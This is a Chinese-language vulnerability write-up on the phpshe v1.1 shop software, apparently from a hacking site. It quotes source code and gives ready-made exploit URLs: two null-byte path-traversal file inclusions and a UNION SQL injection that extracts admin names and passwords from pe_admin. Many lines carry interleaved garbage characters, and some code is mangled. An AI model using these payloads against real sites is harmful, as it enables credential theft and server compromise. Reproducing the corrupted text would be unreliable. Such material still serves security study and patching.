phpshe v1.1多处SQL注入和文件包含漏洞Getshell

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/*******************************************************/
" \. @: H: x( q" S6 n. K/* Phpshe v1.1 Vulnerability
/* ========================
/* By: : Kn1f3
9 P( G0 O% F4 `) m& d/* E-Mail : 681796@qq.com
/*******************************************************/
0×00 整体大概参数传输
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5 p$ Q: g7 C, g& A//common.php
  ^7 E$ G& }5 k7 d/ W7 c& }if (get_magic_quotes_gpc()) {
' M0 G) F% y7 p8 r2 i+ H) e4 i% ?!empty($_GET) && extract(pe_trim(pe_stripslashes($_GET)), EXTR_PREFIX_ALL, '_g');
!empty($_POST) && extract(pe_trim(pe_stripslashes($_POST)), EXTR_PREFIX_ALL, '_p');
% h: {* `. b7 U# ?+ k/ a}
. \1 _- _" O( p* V+ U" h5 x) Selse {
!empty($_GET) && extract(pe_trim($_GET),EXTR_PREFIX_ALL,'_g');
, K1 Y  u; ~" A+ D; v!empty($_POST) && extract(pe_trim($_POST),EXTR_PREFIX_ALL,'_p');
}
3 V8 J0 @! Z' a6 B3 [session_start();
$ N+ W# r+ J) b- E9 r!empty($_SESSION) && extract(pe_trim($_SESSION),EXTR_PREFIX_ALL,'_s');
- Z8 v% n3 Q8 n- c7 x& |!empty($_COOKIE) && extract(pe_trim(pe_stripslashes($_COOKIE)),EXTR_PREFIX_ALL,'_c');
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; ]. a+ r" q1 o4 I0×01 包含漏洞

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- Q( S5 H7 V3 u; H//首页文件
# \  |  I% j! j<!--?php include('common.php'); $cache_category = cache::get('category'); $cache_category_arr = cache::get('category_arr'); $cache_class = cache::get('class'); $cache_ad = cache::get('ad'); $cache_link = cache::get('link'); $cache_page = cache::get('page'); $web_qq = $cache_setting['web_qq']['setting_value'] ? explode(',', $cache_setting['web_qq']['setting_value']) : array(); $cart_num = pe_login('user') ? $db--->pe_num('cart', array('user_id'=>$_s_user_id)) : (unserialize($_c_cart_list) ? count(unserialize($_c_cart_list)) : 0);
0 V9 `! v5 A) r' p% ]. qinclude("{$pe['path_root']}module/{$module}/{$mod}.php");  //$mod可控造成“鸡肋”包含漏洞
pe_result();
; Z- [& d2 r& ?9 y?>
# Z3 U1 w; E( K& [//common 文件 第15行开始
; g6 b! u/ {$ u5 B8 P# Iurl路由配置
& E! o& w1 ]5 E# [; q  }$module = $mod = $act = 'index';
$mod = $_POST['mod'] ? $_POST['mod'] : ($_GET['mod'] ? $_GET['mod'] : $mod);
$act = $_POST['act'] ? $_POST['act'] : ($_GET['act'] ? $_GET['act'] : $act);
$id = $_POST['id'] ? $_POST['id'] : ($_GET['id'] ? $_GET['id'] : $id);
2 g% Z, o# K( L- ?4 S, o) D//exp：http://127.0.0.1/phpshe_v1.1/index.php?mod=../../robots.txt%00

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0×02 搜索注入

<code id="code2">

//product.php文件
case 'list':
$category_id = intval($id);
$info = $db->pe_select('category', array('category_id'=>$category_id));
% x: {0 {% o. R6 |) U& D* a( z9 B//搜索
$sqlwhere = " and `product_state` = 1";
pe_lead('hook/category.hook.php');
" ^6 w$ t4 _' _' t) vif ($category_id) {
. E: t( A( ]3 iwhere .= is_array($category_cidarr = category_cidarr($category_id)) ? " and `category_id` in('".implode("','", $category_cidarr)."')" : " and `category_id` = '{$category_id}'";
}
$_g_keyword && $sqlwhere .= " and `product_name` like '%{$_g_keyword}%'"; //keyword变量未进行有效的sql语句过滤
5 C2 l- P5 o1 Pif ($_g_orderby) {
+ }% g; G4 F( n+ [: t) o$orderby = explode('_', $_g_orderby);
$sqlwhere .= " order by `product_{$orderby[0]}` {$orderby[1]}";
3 {2 [6 I' d, U) o}
else {
( C+ R# \* E6 f. V: F( s7 j$sqlwhere .= " order by `product_id` desc";
: A5 o2 d- @/ |1 z}
) K( y6 p1 Z, \# a$info_list = $db->pe_selectall('product', $sqlwhere, '*', array(16, $_g_page));
//热卖排行
% a% ?; b4 h% z- l! Z$product_hotlist = product_hotlist();
% x! b& a6 ]- b% A2 e6 A//当前路径
$nowpath = category_path($category_id);
$seo = pe_seo($info['category_name']);
+ m1 E8 G1 ?. V0 Oinclude(pe_tpl('product_list.html'));
9 S' r3 C4 m. ?  h* U9 g) c//跟进selectall函数库
& D" t: F6 N) @* c& X4 e4 C. V* epublic function pe_selectall($table, $where = '', $field = '*', $limit_page = array())
{
//处理条件语句
$sqlwhere = $this->_dowhere($where);
8 _4 f% D: ~' X. @2 i7 areturn $this->sql_selectall("select {$field} from `".dbpre."{$table}` {$sqlwhere}", $limit_page);
}
" e! Z  \; S+ ^* _//exp
product/list?keyword=kn1f3'+union+select+1,2,3,4,5,(select+concat(admin_name,0x27,admin_pw,0x27)+from+pe_admin),7,8,9,10,11,12,13,14,15,16,17,18,19 and+'1'='1

</code>

8 e1 g! y; ^/ t2 t* J0×03 包含漏洞2
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<code id="code3">

//order.php

case 'pay':

$order_id = pe_dbhold($_g_id);

3 M( |( M. b8 [& b$cache_payway = cache::get('payway');

foreach($cache_payway as $k => $v) {

. p0 J4 `- s3 e- f$cache_payway[$k]['payway_config'] = unserialize($cache_payway[$k]['payway_config']);

if ($k == 'bank') {

' f+ U6 U. E  n' Z$cache_payway[$k]['payway_config']['bank_text'] = str_replace(array("\r", "\n", "\t"), '\n', $cache_payway[$k]['payway_config']['bank_text']);

}

% t, z. l2 }, a7 Q& X0 ]}

$order = $db->pe_select('order', array('order_id'=>$order_id, 'order_state'=>'notpay'));

. z- P5 e8 p5 Q- }; Q9 e2 k- i6 t!$order['order_id'] && pe_error('订单号错误...');

if (isset($_p_pesubmit)) {

if ($db->pe_update('order', array('order_id'=>$order_id), $_p_info)) {

$info_list = $db->pe_selectall('orderdata', array('order_id'=>$order_id));

7 V9 A7 h9 ]2 f4 A/ {foreach ($info_list as $v) {

: x0 y3 `" [# }* a; i5 z  V/ e" A1 @7 @$order['order_name'] .= "{$v['product_name']};";
8 c  |* V/ Q; \  f' T5 u; \) ]# }

}

% S% Y  R( g+ i! G8 ~echo '正在为您连接支付网站，请稍后...';

include("{$pe['path_root']}include/plugin/payway/{$_p_info['order_payway']}/order_pay.php");

}//当一切准备好的时候就可以进行"鸡肋包含了"

: {; G& t5 R$ y2 M2 ?0 Pelse {

pe_error('支付错误...');

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8 U. @) u8 u4 N+ y% j. E0 K" I1 d}

; J# b* `+ K  e) C- Z6 z! E$seo = pe_seo('选择支付方式');

include(pe_tpl('order_pay.html'));

break;

}

//exp：

//http://127.0.0.1/phpshe_v1.1/index.php?mod=order&act=pay&id=1304070001

//info%5Border_payway%5D=alipay/../../../1.txt%00&pesubmit=%E7%AB%8B%E5%8D%B3%E6%94%AF%E4%BB%98</code>
) R" F& g. N' A7 Q! {http://www.myhack58.com/Article/UploadPic/2013-4/20134161293183866.jpg